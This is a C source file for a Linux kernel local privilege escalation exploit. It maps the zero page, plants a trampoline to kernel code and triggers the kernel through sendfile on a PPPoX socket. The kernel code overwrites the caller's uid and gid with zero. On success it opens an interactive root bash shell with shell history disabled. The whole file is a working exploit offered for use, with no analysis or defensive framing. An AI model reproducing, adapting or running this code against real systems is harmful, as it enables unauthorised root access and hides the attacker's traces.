#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/mman.h>

static unsigned int current_uid, current_gid;
ssize_t kernel_code();

extern unsigned char trampoline_start[];
extern unsigned char trampoline_end[];

#define always_inline static inline __attribute__((always_inline))
#if defined (__x86_64__)

always_inline unsigned int*  get_current_task() {
    unsigned long task;
    __asm__ __volatile__ 
        ("movq %%gs:(0), %0" : "=r" (task));
    return (unsigned int*) task;
}

__asm__("trampoline_start:\n"
        "movq $kernel_code, %rax\n"
        "jmp *%rax\n"
        "trampoline_end:\n");

#elif defined(__i386__)


always_inline unsigned int* get_current_task() {
    unsigned long task;
    __asm__ __volatile__ 
        ("movl %%esp, %%eax\n"
         "andl %1, %%eax\n"
         "movl (%%eax), %0\n"
        : "=r" (task)
         : "i" (~8191));
    return (unsigned int*) task;
}

__asm__("trampoline_start:\n"
        "movl $kernel_code, %eax\n"
        "jmp *%eax\n"
        "trampoline_end:\n");
#endif

ssize_t kernel_code() {
    int i;
    uint *p = get_current_task();
    
    /* Search through the task structure for the
       current uid and gid. We set all values (real,
       effective, fsuid) to the effective userid below)
    */
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == current_uid && p[1] == current_uid &&
            p[2] == current_uid && p[3] == current_uid &&
            p[4] == current_gid && p[5] == current_gid &&
            p[6] == current_gid && p[7] == current_gid) {

            /* Set them all to 0 */
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            return -EEXIST;
        }
        p++;
    }
    return -ETXTBSY;
}


int main(int argc, char** argv) {
    int ps, ts;
    unsigned long i;
    void *rptr;
    int sockf, tmpf;
    char tmpname[64];
    int stat;

    ps = sysconf(_SC_PAGE_SIZE);
    errno = 0;

    current_uid = getuid();
    current_gid = getgid();
    if (current_uid == 0) {
        printf("You are already root.\n");
        return 1;
    }

    /* Set all values to the current value 
       (so we can search through the task structure
       for them
    */
    setresuid(current_uid, current_uid, current_uid);
    setresgid(current_gid, current_gid, current_gid); 

    rptr = mmap(NULL, ps, PROT_READ | PROT_EXEC | PROT_WRITE,
                MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
    if (rptr != NULL || errno != 0) {
        fprintf(stderr, "mmap failed: %s\n", strerror(errno));
        return 1;
    }


    printf("mmap succeeded.\n");

    ts = trampoline_end - trampoline_start;
    memcpy(rptr, trampoline_start, ts);
    printf("kernel_code at %p\n", kernel_code);
    printf("trampoline code:");
    for (i = 0; i < ts; i++) {
        printf(" %02x", *(unsigned char*)i);
    }
    printf("\n");

    strcpy(tmpname, "/tmp/tmpXXXXXX");

    tmpf = mkstemp(tmpname);
    unlink(tmpname);
    ftruncate(tmpf, ps);


    if (argc > 1 && !strcmp(argv[1], "--do-it")) {
        printf("creating socket\n");
        sockf = socket(PF_PPPOX, SOCK_DGRAM, 0);
        if (sockf == -1) {
            perror("socket creation failed");
            return 1;
        }
        stat = sendfile(sockf, tmpf, NULL, ps);

        printf("sendfile returned %d\n", stat);
        if (stat == -1) {
            printf("errno = %d (%s)\n", errno, strerror(errno));
            if (getuid() == 0) {
                printf("You are now root.\n");
                chdir("/");
                putenv("HISTFILE=/dev/null");
                execl("/bin/bash", "bash", "-i", NULL);
                printf("... but I could not execute the shell :(\n");
                return 1;
            } else if (errno == ETXTBSY) {
                printf("Exploit succeeded, but could not set root. Check kernel version.\n");
            return 1;
            }
        }
        printf("Exploit failed.\n");
    } else {
        printf("use --do-it to actually exploit\n");
    }
    return 1;
}
